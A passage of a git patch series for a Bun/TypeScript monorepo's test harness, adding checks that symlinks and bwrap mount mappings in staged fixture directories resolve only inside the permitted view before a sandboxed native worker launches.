withStageLinkView(keeper,mounts,()=>assertWorkerFixtureBindsInView(mounts,route,guardRoot,keeper,checkpoint));} +function assertWorkerFixtureBindsInView(mounts: readonly string[], route: ScriptedAuthority, guardRoot: string, keeper?: KeeperInspection,checkpoint?:NativeCheckpointRole): void { // Overlapping package binds share one walk within this validation only. // A new beforeLaunch call gets a fresh set and checks the tree again. const visited=new Set(),canonical=fixtureWalkRealpath(); @@ -2096,7 +2107,7 @@ function assertWorkerFixtureBinds(mounts: readonly string[], route: ScriptedAuth const visit=(path:string):void=>{ inspected=path; const opaque=opaqueStageSnapshots.get(path);if(opaque){opaque.check();return;} - const real=realpathSync(path),access=inspectionAccessPath(path,keeper),info=lstatSync(access); + const real=inspectionRealpath(path,keeper),access=inspectionAccessPath(path,keeper),info=lstatSync(access); if(info.isFile() && !keeperRoots.some(root=>within(root,access)&&within(canonical(root),real)) && !keeperCheckedFile(real,keeper) && !(checkpointRoot&&within(checkpointRoot,real))&&!(privateIndexRoot&&within(privateIndexRoot,real))&&!(copiedRoot&&within(copiedRoot,real))&&!workerSourceAllowed(real,route,guardRoot,canonical))refuse("worker file was not created or staged by the fixture"); if(!info.isDirectory() || SYSTEM.some(root=>{try{return within(canonical(root),real);}catch{return false;}}) || visited.has(`${info.dev}:${info.ino}`))return; visited.add(`${info.dev}:${info.ino}`);for(const name of readdirSync(access))visit(join(access,name)); @@ -2156,6 +2167,7 @@ function nativeManagedCandidateDirectories(argv:readonly string[]):ReadonlyMap{ for(let i=bwrap+1;i+2{ + const root=mkdtempSync("/tmp/odysseus-final-stage-link-"),destination="/brain",source="/owned/merged",entries=new Set(),links=new Map(); + try{ + mkdirSync(join(root,"notes"));writeFileSync(join(root,"notes/loom"),"Ithaca\n");mkdirSync(join(root,"-x/notes"),{recursive:true});writeFileSync(join(root,"-x/notes/loom"),"Troy\n"); + const target=mode==="destination-itself"?destination:mode==="sibling-prefix"?destination+"-x/notes/loom":mode==="external"?"/outside/loom":mode==="chain-escape"?destination+"/notes/chain":destination+"/notes/loom"; + symlinkSync(target,join(root,"alias"));if(mode==="chain-escape")symlinkSync(destination+"/../outside",join(root,"notes/chain")); + function walk(path:string){for(const name of readdirSync(join(root,path))){const relative=path?path+"/"+name:name,info=lstatSync(join(root,relative));entries.add(relative);if(info.isSymbolicLink())links.set(relative,readlinkSync(join(root,relative)));else if(info.isDirectory())walk(relative);}}walk(""); + const argv=["--clearenv",...(mode==="environment-value"?["--setenv","ODYSSEUS_VALUE","--ro-bind","--setenv","ODYSSEUS_EMPTY",""]:[]),"--ro-bind",source,mode==="wrong-destination"?"/brain-wrong":destination,...(mode==="changed-overlay"?["--ro-bind","/foreign","/brain/notes"]:[])]; + const work=()=>resolveNativeStageLinks({root,entries,links,view:{source,destination,mounts:argv}}); + if(["mapped","destination-itself","environment-value"].includes(mode)){const resolved=work().get("alias")!;expect(resolved).toBe(mode==="destination-itself"?"":"notes/loom");expect(realpathSync(join(root,resolved))).toBe(join(root,resolved));} + else expect(work,"ACTUAL_BIND_MAPPING_MUST_COVER_TARGET").toThrow(); + }finally{rmSync(root,{recursive:true,force:true});} +}); From 1d10a99d67ef96ac68dc41aaec1d7b29b7612845 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Mon, 23 Nov 2026 13:06:23 +0000 Subject: [PATCH 146/187] fix(test): copy the complete native preload closure --- scripts/diagram-export-source.mjs | 2 +- tests/helpers/test-invocation-fixture.ts | 2 +- tests/helpers/unit-worker-fixture.ts | 2 +- tests/local-checks.test.ts | 2 +- 4 files changed, 4 insertions(+), 4 deletions(-) diff --git a/scripts/diagram-export-source.mjs b/scripts/diagram-export-source.mjs index bf16d3efc2..c5f6aa3009 100644 --- a/scripts/diagram-export-source.mjs +++ b/scripts/diagram-export-source.mjs @@ -5,7 +5,7 @@ import {dirname,join,resolve} from "node:path"; import {diagramInstallationIdentity} from "./diagram-export-installation.mjs"; const workspaceNames=Object.freeze({common:"@schlessera/brain-common",core:"@schlessera/brain",geo:"@schlessera/brain-geo","module-diagrams":"@schlessera/brain-module-diagrams","render-template":"@schlessera/brain-render-template","ui-render-puppeteer":"@schlessera/brain-render-puppeteer"}); export const diagramSourceDomains=Object.freeze(Object.keys(workspaceNames)); -export const diagramSourceSetup=Object.freeze(["package.json","bun.lock","tsconfig.json","bunfig.toml","scripts/test-network-child-preload.ts","scripts/test-network-guard.ts","scripts/test-native-guard.ts","scripts/native-test-receipts.ts","scripts/native-exec-trace.ts", "scripts/native-runtime-pin.ts", "scripts/native-opaque-stage.ts", "scripts/native-stage-metadata-channel.ts", "scripts/native-launch-ready.ts", "scripts/test-deadlines.ts", "scripts/native-title-collector.ts", "scripts/native-shared-audit.ts","scripts/native-device-diagnostics.ts","scripts/workspace-lease.mjs","scripts/diagram-export-source.mjs","scripts/diagram-export-source.d.mts","scripts/prepare-diagram-export-source.mjs","scripts/prepare-diagram-export-source.d.mts","scripts/visual.mjs","scripts/diagram-export-installation.mjs","scripts/diagram-export-installation.d.mts","scripts/diagram-export-producer.mjs","scripts/diagram-export-producer.d.mts"]); +export const diagramSourceSetup=Object.freeze(["package.json","bun.lock","tsconfig.json","bunfig.toml","scripts/test-network-child-preload.ts","scripts/test-network-guard.ts","scripts/test-native-guard.ts","scripts/native-test-receipts.ts","scripts/native-exec-trace.ts", "scripts/native-runtime-pin.ts", "scripts/native-opaque-stage.ts", "scripts/native-stage-metadata-channel.ts", "scripts/native-stage-links.ts", "scripts/native-launch-ready.ts", "scripts/test-deadlines.ts", "scripts/native-title-collector.ts", "scripts/native-shared-audit.ts","scripts/native-device-diagnostics.ts","scripts/workspace-lease.mjs","scripts/diagram-export-source.mjs","scripts/diagram-export-source.d.mts","scripts/prepare-diagram-export-source.mjs","scripts/prepare-diagram-export-source.d.mts","scripts/visual.mjs","scripts/diagram-export-installation.mjs","scripts/diagram-export-installation.d.mts","scripts/diagram-export-producer.mjs","scripts/diagram-export-producer.d.mts"]); export const isDiagramSource=path=>diagramSourceSetup.includes(path)||diagramSourceDomains.some(name=>path.startsWith(`packages/${name}/`)); const digest=bytes=>createHash("sha256").update(bytes).digest("hex"); const archivePath=repo=>join(repo,"tmp/diagram-export-source.json"); diff --git a/tests/helpers/test-invocation-fixture.ts b/tests/helpers/test-invocation-fixture.ts index 790fda46a8..25036bbd36 100644 --- a/tests/helpers/test-invocation-fixture.ts +++ b/tests/helpers/test-invocation-fixture.ts @@ -10,7 +10,7 @@ export function invocationFixture(parent = tmpdir()) { write("bun.lock", "{}\n"); write(".gitignore", "node_modules/\npackages/*/dist/\ntmp/\n"); write("tsconfig.json", JSON.stringify({ compilerOptions: { target: "ES2019", module: "ESNext", moduleResolution: "Bundler", types: [], skipLibCheck: true } })); - for (const file of ["build.ts", "clean.ts", "build-execution.ts", "build-receipt.ts", "build-repeat-observation.ts", "bin-modes.ts", "publishable-packages.ts", "workspace-lease.mjs", "host-admission.mjs", "test.ts", "test-shards.ts", "test-shard-costs.json", "test-invocation.ts", "test-invocation-child.ts", "runtime-test-builds.ts", "test-network-preload.ts", "test-home.ts", "test-network-guard.ts", "test-native-guard.ts", "native-test-receipts.ts", "native-device-diagnostics.ts", "native-exec-trace.ts", "native-runtime-pin.ts", "native-opaque-stage.ts", "native-stage-metadata-channel.ts", "native-launch-ready.ts", "test-deadlines.ts", "native-title-collector.ts", "native-shared-audit.ts", "test-network-child-preload.ts", "unit-worker-entry.sh"]) { + for (const file of ["build.ts", "clean.ts", "build-execution.ts", "build-receipt.ts", "build-repeat-observation.ts", "bin-modes.ts", "publishable-packages.ts", "workspace-lease.mjs", "host-admission.mjs", "test.ts", "test-shards.ts", "test-shard-costs.json", "test-invocation.ts", "test-invocation-child.ts", "runtime-test-builds.ts", "test-network-preload.ts", "test-home.ts", "test-network-guard.ts", "test-native-guard.ts", "native-test-receipts.ts", "native-device-diagnostics.ts", "native-exec-trace.ts", "native-runtime-pin.ts", "native-opaque-stage.ts", "native-stage-metadata-channel.ts", "native-stage-links.ts", "native-launch-ready.ts", "test-deadlines.ts", "native-title-collector.ts", "native-shared-audit.ts", "test-network-child-preload.ts", "unit-worker-entry.sh"]) { write(`scripts/${file}`, readFileSync(join(source, "scripts", file), "utf8")); } for (const file of ["packages/core/tests/cli-harness.ts", "packages/ui-react/tests/fixtures/runtime-package-build.ts", "packages/ui-react/tests/fixtures/runtime-hook-phases.ts"]) write(file, readFileSync(join(source, file), "utf8")); diff --git a/tests/helpers/unit-worker-fixture.ts b/tests/helpers/unit-worker-fixture.ts index cfdd3edde9..eef4369774 100644 --- a/tests/helpers/unit-worker-fixture.ts +++ b/tests/helpers/unit-worker-fixture.ts @@ -74,7 +74,7 @@ const stop=Date.now()+5000;while((!existsSync(join(shared,"built-1"))||!existsSy ${options.failBuild ? "process.exit(7);" : ""} mkdirSync("dist",{recursive:true});writeFileSync("dist/lease.json",JSON.stringify({lease:JSON.parse(process.env.BRAIN_WORKSPACE_LEASE),nonce:process.env.BRAIN_TEST_INVOCATION_NONCE}));writeFileSync("dist/ready.txt","Odysseus builds the raft.");receipt.packageEnd("raft",true);receipt.finish(0);\n`); for (const file of ["scripts/test.ts", "scripts/runtime-test-builds.ts", "scripts/test-invocation.ts", "scripts/test-invocation-child.ts", "scripts/publishable-packages.ts", - "scripts/workspace-lease.mjs", "scripts/host-admission.mjs", "scripts/test-shards.ts", "scripts/test-shard-costs.json", "scripts/test-network-preload.ts", "scripts/test-home.ts", "scripts/test-network-child-preload.ts", "scripts/test-network-guard.ts", "scripts/test-native-guard.ts", "scripts/native-test-receipts.ts", "scripts/native-device-diagnostics.ts", "scripts/native-exec-trace.ts", "scripts/native-runtime-pin.ts", "scripts/native-opaque-stage.ts", "scripts/native-stage-metadata-channel.ts", "scripts/native-launch-ready.ts", "scripts/test-deadlines.ts", "scripts/native-title-collector.ts", "scripts/native-shared-audit.ts", "packages/core/tests/cli-harness.ts"]) { + "scripts/workspace-lease.mjs", "scripts/host-admission.mjs", "scripts/test-shards.ts", "scripts/test-shard-costs.json", "scripts/test-network-preload.ts", "scripts/test-home.ts", "scripts/test-network-child-preload.ts", "scripts/test-network-guard.ts", "scripts/test-native-guard.ts", "scripts/native-test-receipts.ts", "scripts/native-device-diagnostics.ts", "scripts/native-exec-trace.ts", "scripts/native-runtime-pin.ts", "scripts/native-opaque-stage.ts", "scripts/native-stage-metadata-channel.ts", "scripts/native-stage-links.ts", "scripts/native-launch-ready.ts", "scripts/test-deadlines.ts", "scripts/native-title-collector.ts", "scripts/native-shared-audit.ts", "packages/core/tests/cli-harness.ts"]) { write(file, readFileSync(join(source, file), "utf8")); } const files = ["odysseus", "penelope"].map(name => `tests/${name}.test.ts`); diff --git a/tests/local-checks.test.ts b/tests/local-checks.test.ts index 27b89ab42b..d7d219d400 100644 --- a/tests/local-checks.test.ts +++ b/tests/local-checks.test.ts @@ -423,7 +423,7 @@ function importFixture() { const dir = fixture(); const root = join(import.meta.dir, ".."); mkdirSync(join(dir, "scripts")); - for (const helper of ["test.ts", "runtime-test-builds.ts", "test-invocation.ts", "test-invocation-child.ts", "publishable-packages.ts", "test-shards.ts", "test-shard-costs.json", "test-network-preload.ts", "test-home.ts", "test-network-guard.ts", "test-native-guard.ts", "native-test-receipts.ts", "native-device-diagnostics.ts", "native-exec-trace.ts", "native-runtime-pin.ts", "native-opaque-stage.ts", "native-stage-metadata-channel.ts", "native-launch-ready.ts", "test-deadlines.ts", "native-title-collector.ts", "native-shared-audit.ts", "test-network-child-preload.ts", "workspace-lease.mjs", "host-admission.mjs"]) { + for (const helper of ["test.ts", "runtime-test-builds.ts", "test-invocation.ts", "test-invocation-child.ts", "publishable-packages.ts", "test-shards.ts", "test-shard-costs.json", "test-network-preload.ts", "test-home.ts", "test-network-guard.ts", "test-native-guard.ts", "native-test-receipts.ts", "native-device-diagnostics.ts", "native-exec-trace.ts", "native-runtime-pin.ts", "native-opaque-stage.ts", "native-stage-metadata-channel.ts", "native-stage-links.ts", "native-launch-ready.ts", "test-deadlines.ts", "native-title-collector.ts", "native-shared-audit.ts", "test-network-child-preload.ts", "workspace-lease.mjs", "host-admission.mjs"]) { cpSync(join(root, "scripts", helper), join(dir, "scripts", helper)); } mkdirSync(join(dir, "packages/core/tests"), { recursive: true }); From 76ac8fa38ad0f5b68f3e9078bfd37eac31fc88d1 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Mon, 23 Nov 2026 13:06:23 +0000 Subject: [PATCH 147/187] fix(test): preserve non-native classification before stage admission --- .../native-proof/fixture-preparation.native.ts | 15 +++++++++++---- scripts/native-proof/identity-manager.native.ts | 2 +- scripts/native-stage-links.ts | 2 +- scripts/test-native-guard.ts | 10 +++++----- 4 files changed, 18 insertions(+), 11 deletions(-) diff --git a/scripts/native-proof/fixture-preparation.native.ts b/scripts/native-proof/fixture-preparation.native.ts index ffd53fc76b..5bd8790340 100644 --- a/scripts/native-proof/fixture-preparation.native.ts +++ b/scripts/native-proof/fixture-preparation.native.ts @@ -14,14 +14,14 @@ import {bundledClaudeBinary} from "../../packages/core/src/providers/agents/clau import {createNativeBrainLeaseManager} from "../../packages/ui-server/src/brain/native-brain-leases"; import {withNativeProofStages,observeNativeProofStages} from "../../tests/helpers/native-managed-proof"; const realPrepareNativeOutput=prepareNativeWorkerOutput; -export const preparationCases=["positive","mid-walk-write","nested-observer","stale-inspection","foreign","wrong-preparer","native-under-preparer","failed-preparation","actual-wrapper","copied-wrapper","closed-wrapper","raw-expired","link-wrong-destination","link-sibling-prefix","link-changed-overlay","link-external","link-runtime-target","link-chain-escape"] as const; +export const preparationCases=["positive","mid-walk-write","nested-observer","stale-inspection","foreign","wrong-preparer","native-under-preparer","failed-preparation","actual-wrapper","copied-wrapper","closed-wrapper","raw-expired","link-mapped","link-wrong-destination","link-sibling-prefix","link-changed-overlay","link-external","link-runtime-target","link-chain-escape"] as const; export async function proveFixturePreparation(mode:string,brain:string,socketPath:string):Promise{ if(!preparationCases.includes(mode as typeof preparationCases[number]))throw Error("Unknown preparation proof"); await withNativeProofStages(brain,async()=>{ expect(probeWorkerHost(brain,{profile:"governed",stateBytes:1024**2,turnTempBytes:1024**2}).ok,"REAL_PREPARER_IDENTITY").toBe(true); const opaque=join(brain,".brain/odysseus-preparation-private");mkdirSync(opaque,{mode:0o700});chmodSync(opaque,0o700);const gitDirectory=join(brain,".git");mkdirSync(gitDirectory);chmodSync(gitDirectory,0o755);for(const name of ["hooks","info","modules"]){mkdirSync(join(gitDirectory,name));chmodSync(join(gitDirectory,name),0o755);}writeFileSync(join(gitDirectory,"config"),"[core]\nrepositoryformatversion=0\n",{mode:0o644});chmodSync(join(gitDirectory,"config"),0o644);const index=join(brain,".brain-index");mkdirSync(index);chmodSync(index,0o2775);const db=new Database(join(index,"brain.db"));db.run("CREATE TABLE odysseus(value INTEGER)");db.close();chmodSync(join(index,"brain.db"),mode==="failed-preparation"?0o444:0o644); const linkMode=mode.startsWith("link-"); - if(mode==="positive"||linkMode){ + if(linkMode){ mkdirSync(join(brain,"notes"),{recursive:true,mode:0o755});writeFileSync(join(brain,"notes/odysseus-link-target.md"),"Odysseus stage link\n",{mode:0o644});chmodSync(join(brain,"notes"),0o755);chmodSync(join(brain,"notes/odysseus-link-target.md"),0o644); let target=brain+"/notes/odysseus-link-target.md"; if(mode==="link-sibling-prefix"){mkdirSync(join(brain,"-x/notes"),{recursive:true});writeFileSync(join(brain,"-x/notes/odysseus-link-target.md"),"Odysseus sibling control\n",{mode:0o644});for(const path of ["-x","-x/notes"])chmodSync(join(brain,path),0o755);chmodSync(join(brain,"-x/notes/odysseus-link-target.md"),0o644);target=brain+"-x/notes/odysseus-link-target.md";} @@ -46,6 +46,9 @@ export async function proveFixturePreparation(mode:string,brain:string,socketPat Object.defineProperty(Bun,"spawn",{...descriptor,value:(...args:any[])=>{ const options=Array.isArray(args[0])?args[1]:args[0],encoded=options?.env?.BRAIN_WORKER_LAUNCH; if(encoded){const launch=JSON.parse(encoded); + if(mode==="positive"&&output&&launch.command?.[2]==='exec "$1"'){ + const bindings:Record[]=[];const inspect=(value:any):void=>{if(Array.isArray(value)){for(let i=0;i+2{ @@ -102,7 +105,7 @@ export async function proveFixturePreparation(mode:string,brain:string,socketPat try{output=await prepareNativeWorkerOutput(brain,{startupView:view});expect((await runMaintenanceWorker({brainPath:brain,startupView:output.view,output:{...output.output,target:"/tmp/brain-maintenance-output"},credentials:false,env:{PATH:"/usr/bin:/bin"},command:["/bin/true"]})).exitCode,"NESTED_OBSERVER_REACHES_REAL_STAGE").toBe(0);console.log("NESTED_INNER_STAGE_PASSED");await output.cleanup();output=undefined;}finally{closeInner();} } output=await prepareNativeWorkerOutput(brain,{startupView:view,areas:["odysseus-preparation.md"]});progress("inspection-created"); - const base=():MaintenanceCommand=>({brainPath:brain,startupView:output!.view,output:{...output!.output,target:"/tmp/brain-maintenance-output"},credentials:false,env:{PATH:"/usr/local/bin:/usr/bin:/bin"},command:["/bin/true"]}); + const base=():MaintenanceCommand=>({brainPath:brain,startupView:output!.view,output:{...output!.output,target:linkMode?brain:"/tmp/brain-maintenance-output"},credentials:false,env:{PATH:"/usr/local/bin:/usr/bin:/bin"},command:["/bin/true"]}); if(mode==="nested-observer"){expect((await runMaintenanceWorker(base())).exitCode,"NESTED_OBSERVER_RETAINS_OUTER_REGISTRATION").toBe(0);console.log("FIXTURE_NESTED_OBSERVERS_PASSED");return;} if(wrapperMode){ expect((await runMaintenanceWorker(base())).exitCode,"ACTUAL_WRAPPER_REACHES_REAL_STAGE").toBe(0); @@ -134,7 +137,7 @@ export async function proveFixturePreparation(mode:string,brain:string,socketPat const plan=recorded;expect(plan,"ACTUAL_RECORDED_PREPARER_PLAN").toBeDefined(); let refused=false;try{plan!.beforeLaunch();}catch{refused=true;}expect(refused,"RETIRED_INSPECTION_CANNOT_LAUNCH").toBe(true);console.log("FIXTURE_OLD_INSPECTION_RETIRED");return; } - if(linkMode){ + if(linkMode&&mode!=="link-mapped"){ const reason=mode==="link-runtime-target"?"native runtime in stage symlink target":"managed fixture stage link view differs"; await expect(runMaintenanceWorker({...base(),command:["/bin/sh","-c",'exec "$1"',"odysseus-link-boundary","/bin/true"]}),"EXACT_STAGE_LINK_MAPPING_MUST_REFUSE").rejects.toThrow(reason); console.log("FIXTURE_STAGE_LINK_EXPECTED_REFUSAL");return; @@ -143,6 +146,10 @@ export async function proveFixturePreparation(mode:string,brain:string,socketPat expect((await runMaintenanceWorker(base())).exitCode,"REAL_INDEX_PREPARATION_RECAPTURED").toBe(0); expect((await runMaintenanceWorker({...base(),command:["/bin/sh","-c",'exec "$1"',"odysseus-byte-boundary","/bin/true"]})).exitCode,"UNKNOWN_COMMAND_REACHES_MASKED_STAGE").toBe(0); expect(nativeFixtureFindingCounts().executionByteFiles,"MUTABLE_EXECUTION_BOUNDARY_REHASH_REQUIRED").toBeGreaterThan(byteChecks); + if(mode==="link-mapped"){ + const result=await runMaintenanceWorker({...base(),command:["/bin/sh","-c",'exec "$1" "$2"',"odysseus-link-read","/bin/cat",brain+"/native-absolute-stage-link"]}); + expect(result.exitCode,result.stderr).toBe(0);expect(result.stdout,"MAPPED_LINK_READS_ACTUAL_STAGE_BYTES").toBe("Odysseus stage link\n");console.log("FIXTURE_MAPPED_STAGE_LINK_PASSED");return; + } const gitRoot=output.output.source.replace(/\/merged$/,"/git-adapter");mkdirSync(gitRoot,{mode:0o700});mkdirSync(join(gitRoot,"bin"),{mode:0o700});mkdirSync(join(gitRoot,"hooks"),{mode:0o700}); writeFileSync(join(gitRoot,"config.json"),JSON.stringify({marker:"Odysseus preparation"}),{mode:0o600});writeFileSync(join(gitRoot,"empty-config"),"");writeFileSync(join(gitRoot,"bin/git"),"#!/bin/sh\nexit 0\n",{mode:0o755}); const git=await prepareMaintenanceGitInput({...base(),git:{source:gitRoot,target:"/tmp/brain-maintenance-git",entry:Bun.resolveSync("../../packages/ui-sdk/src/server/maintenance-git-entry",import.meta.dir),binary:"/usr/bin/git"}}); diff --git a/scripts/native-proof/identity-manager.native.ts b/scripts/native-proof/identity-manager.native.ts index fc520355c1..a77255de89 100644 --- a/scripts/native-proof/identity-manager.native.ts +++ b/scripts/native-proof/identity-manager.native.ts @@ -176,7 +176,7 @@ os.chmod(${JSON.stringify(join(brain, "opaque"))},0)`] }); // Only these three roots were created by this proof, after the child started. for(const rel of [".brain/odysseus-preparation-private",".git",".brain-index","native-absolute-stage-link","notes/odysseus-link-target.md","notes/chain","notes/odysseus-native-link","-x"])rmSync(join(brain,rel),{recursive:true,force:true}); writeFileSync(`/proof/preparation-${mode}.stdout`,out);writeFileSync(`/proof/preparation-${mode}.stderr`,err); - const markers={"mid-walk-write":"FIXTURE_MID_WALK_WRITE_REFUSED","nested-observer":"FIXTURE_NESTED_OBSERVERS_PASSED",positive:"FIXTURE_REAL_INDEX_AND_GIT_RECAPTURED","stale-inspection":"FIXTURE_OLD_INSPECTION_RETIRED",foreign:"FIXTURE_PREPARATION_FOREIGN_REFUSED","wrong-preparer":"FIXTURE_PREPARATION_EXPECTED_GUARD_REFUSAL","native-under-preparer":"FIXTURE_PREPARATION_EXPECTED_GUARD_REFUSAL","failed-preparation":"FIXTURE_FAILED_PREPARATION_RETIRED","actual-wrapper":"FIXTURE_ACTUAL_LEASE_WRAPPER_PASSED","copied-wrapper":"FIXTURE_UNOBSERVED_WRAPPER_REFUSED","closed-wrapper":"FIXTURE_CLOSED_WRAPPER_REFUSED","raw-expired":"FIXTURE_RAW_EXPIRY_REVOKES_WRAPPER","link-wrong-destination":"FIXTURE_STAGE_LINK_EXPECTED_REFUSAL","link-sibling-prefix":"FIXTURE_STAGE_LINK_EXPECTED_REFUSAL","link-changed-overlay":"FIXTURE_STAGE_LINK_EXPECTED_REFUSAL","link-external":"FIXTURE_STAGE_LINK_EXPECTED_REFUSAL","link-runtime-target":"FIXTURE_STAGE_LINK_EXPECTED_REFUSAL","link-chain-escape":"FIXTURE_STAGE_LINK_EXPECTED_REFUSAL"} satisfies Record; + const markers={"mid-walk-write":"FIXTURE_MID_WALK_WRITE_REFUSED","nested-observer":"FIXTURE_NESTED_OBSERVERS_PASSED",positive:"FIXTURE_REAL_INDEX_AND_GIT_RECAPTURED","stale-inspection":"FIXTURE_OLD_INSPECTION_RETIRED",foreign:"FIXTURE_PREPARATION_FOREIGN_REFUSED","wrong-preparer":"FIXTURE_PREPARATION_EXPECTED_GUARD_REFUSAL","native-under-preparer":"FIXTURE_PREPARATION_EXPECTED_GUARD_REFUSAL","failed-preparation":"FIXTURE_FAILED_PREPARATION_RETIRED","actual-wrapper":"FIXTURE_ACTUAL_LEASE_WRAPPER_PASSED","copied-wrapper":"FIXTURE_UNOBSERVED_WRAPPER_REFUSED","closed-wrapper":"FIXTURE_CLOSED_WRAPPER_REFUSED","raw-expired":"FIXTURE_RAW_EXPIRY_REVOKES_WRAPPER","link-mapped":"FIXTURE_MAPPED_STAGE_LINK_PASSED","link-wrong-destination":"FIXTURE_STAGE_LINK_EXPECTED_REFUSAL","link-sibling-prefix":"FIXTURE_STAGE_LINK_EXPECTED_REFUSAL","link-changed-overlay":"FIXTURE_STAGE_LINK_EXPECTED_REFUSAL","link-external":"FIXTURE_STAGE_LINK_EXPECTED_REFUSAL","link-runtime-target":"FIXTURE_STAGE_LINK_EXPECTED_REFUSAL","link-chain-escape":"FIXTURE_STAGE_LINK_EXPECTED_REFUSAL"} satisfies Record; const reasons:Partial>={"mid-walk-write":"managed fixture keeper snapshot is unavailable","stale-inspection":"managed fixture inspection changed after planning","wrong-preparer":"metadata-only probe launch chain differs","native-under-preparer":"metadata-only probe launch chain differs","failed-preparation":"metadata-only probe scope expired or source changed","copied-wrapper":"managed fixture keeper snapshot is unavailable","closed-wrapper":"managed fixture manager provenance expired","raw-expired":"managed fixture manager provenance expired","link-wrong-destination":"managed fixture stage link view differs","link-sibling-prefix":"managed fixture stage link view differs","link-changed-overlay":"managed fixture stage link view differs","link-external":"managed fixture stage link view differs","link-runtime-target":"native runtime in stage symlink target","link-chain-escape":"managed fixture stage link view differs"}; const reason=reasons[mode];expect(code,`REAL_PREPARATION_PROOF ${mode}: ${err}`).toBe(reason?1:0); expect(out,`REAL_PREPARATION_PROOF_REACHED ${mode}`).toContain(markers[mode]); diff --git a/scripts/native-stage-links.ts b/scripts/native-stage-links.ts index d288b1b16d..fae07ef507 100644 --- a/scripts/native-stage-links.ts +++ b/scripts/native-stage-links.ts @@ -16,7 +16,7 @@ function mounts(argv:readonly string[]):Mount[]{ export function resolveNativeStageLinks(input:{root:string;links:ReadonlyMap;entries:ReadonlySet;view?:{source:string;destination:string;mounts:readonly string[]}}):ReadonlyMap{ const result=new Map(),view=input.view; let mapping:Mount|undefined,operations:Mount[]=[]; - if(view){operations=mounts(view.mounts);const candidates=operations.filter(row=>["--bind","--ro-bind"].includes(row.flag)&&row.source===view.source&&row.target===view.destination);if(candidates.length!==1)throw Error("Stage link view mapping differs");mapping=candidates[0];} + if(view){operations=mounts(view.mounts);const candidates=operations.filter(row=>["--bind","--ro-bind"].includes(row.flag)&&row.source===view.source&&row.target===view.destination);if(candidates.length!==1)throw Object.assign(Error("Stage link view mapping differs"),{sourceBindings:operations.filter(row=>row.source===view.source).length,destinationBindings:operations.filter(row=>row.target===view.destination).length,matchingBindings:candidates.length});mapping=candidates[0];} for(const relative of input.links.keys()){ let current=relative,pending=false;const seen=new Set(),traversed:string[]=[]; for(let depth=0;;depth++){ diff --git a/scripts/test-native-guard.ts b/scripts/test-native-guard.ts index 6d36c4cf50..52ae3ec609 100644 --- a/scripts/test-native-guard.ts +++ b/scripts/test-native-guard.ts @@ -255,7 +255,7 @@ export function isNativeClaude(command: string, args: readonly unknown[] = [], o } function isNativeClaudeInspected(command:string,args:readonly unknown[],options:SpawnContext):boolean { if (discoveryFailed) refuse("installed SDK runtime discovery failed"); - const managedDirectories=nativeManagedCandidateDirectories([command,...args.filter((value):value is string=>typeof value==="string")]); + const managedDirectories=nativeManagedCandidateDirectories([command,...args.filter((value):value is string=>typeof value==="string")],false); for (const value of nativeExecutableCandidates(command, args)) { const candidate=resolve(options.cwd??process.cwd(),managedDirectories.get(value)??value); if([...opaqueStageSnapshots.keys()].some(opaque=>within(opaque,candidate)))refuse("opaque stage node intersects an executable candidate"); @@ -1533,7 +1533,7 @@ function withStageLinkView(keeper:KeeperInspection|undefined,mounts:readonly if(targets.size!==view.links.size)throw Error("Stage link view mapping incomplete"); const access=new Map([...targets].map(([path,target])=>[join(keeper!.snapshot,path),join(keeper!.snapshot,target)])); return stageLinkContext.run({snapshot:keeper!.snapshot,access},()=>{inspectStageLinkTargets(keeper!.snapshot,view,targets,keeper);return run();}); - }catch(error){if(String(error).includes("Offline native Claude refused before launch:"))throw error;return refuse("managed fixture stage link view differs");} + }catch(error){if(String(error).includes("Offline native Claude refused before launch:"))throw error;const e=error as Error&{sourceBindings?:number;destinationBindings?:number;matchingBindings?:number};nativeReceipt({kind:"native-fixture-stage-link-check",reason:["Stage link view mapping differs","Stage link view overlay changed","Stage link view registration expired","Invalid stage view mount","Invalid stage view option","Unrecognized stage view option","Noncanonical stage view destination","Stage symlink cycle","Stage symlink target outside mapped view","Stage symlink target outside stage","Uninspected stage symlink target","Stage symlink target is opaque"].includes(e.message)?e.message:"unclassified",...(Number.isSafeInteger(e.sourceBindings)?{sourceBindings:e.sourceBindings,destinationBindings:e.destinationBindings,matchingBindings:e.matchingBindings}:{})});return refuse("managed fixture stage link view differs");} } function inspectionRealpath(path:string,keeper?:KeeperInspection):string {const view=stageLinkContext.getStore();return realpathSync(view&&view.snapshot===keeper?.snapshot?view.access.get(path)??path:path);} function stageMetadataKey(row:{path:string;kind:string;stamp:string;mode:number;bytes:number;inode:string},reader:StageReaderIdentity):string { @@ -2150,7 +2150,7 @@ function nativeBwrapIndex(argv: readonly string[]): number { } /** Only the production private-stage source role has a manager inspection view. */ -function nativeManagedCandidateDirectories(argv:readonly string[]):ReadonlyMap { +function nativeManagedCandidateDirectories(argv:readonly string[],inspectLinks=true):ReadonlyMap { const found=new Map(); const same=(value:string|undefined,path:string)=>{try{return !!value&&realpathSync(value)===realpathSync(path);}catch{return false;}}; if(!same(argv[0],"/usr/bin/python3")||argv[1]!=="-I"||argv[2]!=="-S"||argv[3]!=="-c")return found; @@ -2167,7 +2167,7 @@ function nativeManagedCandidateDirectories(argv:readonly string[]):ReadonlyMap{ + const inspect=()=>{ for(let i=bwrap+1;i+2 Date: Mon, 23 Nov 2026 13:15:05 +0000 Subject: [PATCH 148/187] test: exercise stage byte checks with admitted native version --- scripts/native-proof/fixture-preparation.native.ts | 14 +++++++------- scripts/native-proof/identity-manager.native.ts | 1 + 2 files changed, 8 insertions(+), 7 deletions(-) diff --git a/scripts/native-proof/fixture-preparation.native.ts b/scripts/native-proof/fixture-preparation.native.ts index 5bd8790340..053759376f 100644 --- a/scripts/native-proof/fixture-preparation.native.ts +++ b/scripts/native-proof/fixture-preparation.native.ts @@ -46,13 +46,13 @@ export async function proveFixturePreparation(mode:string,brain:string,socketPat Object.defineProperty(Bun,"spawn",{...descriptor,value:(...args:any[])=>{ const options=Array.isArray(args[0])?args[1]:args[0],encoded=options?.env?.BRAIN_WORKER_LAUNCH; if(encoded){const launch=JSON.parse(encoded); - if(mode==="positive"&&output&&launch.command?.[2]==='exec "$1"'){ - const bindings:Record[]=[];const inspect=(value:any):void=>{if(Array.isArray(value)){for(let i=0;i+2[]=[];const inspect=(value:any):void=>{if(Array.isArray(value)){for(let i=0;i+2{ - if(Array.isArray(value)){const result=value.map(edit);for(let i=0;i+2[key,edit(item)])); if(typeof value==="string"&&value.startsWith("{")){try{return 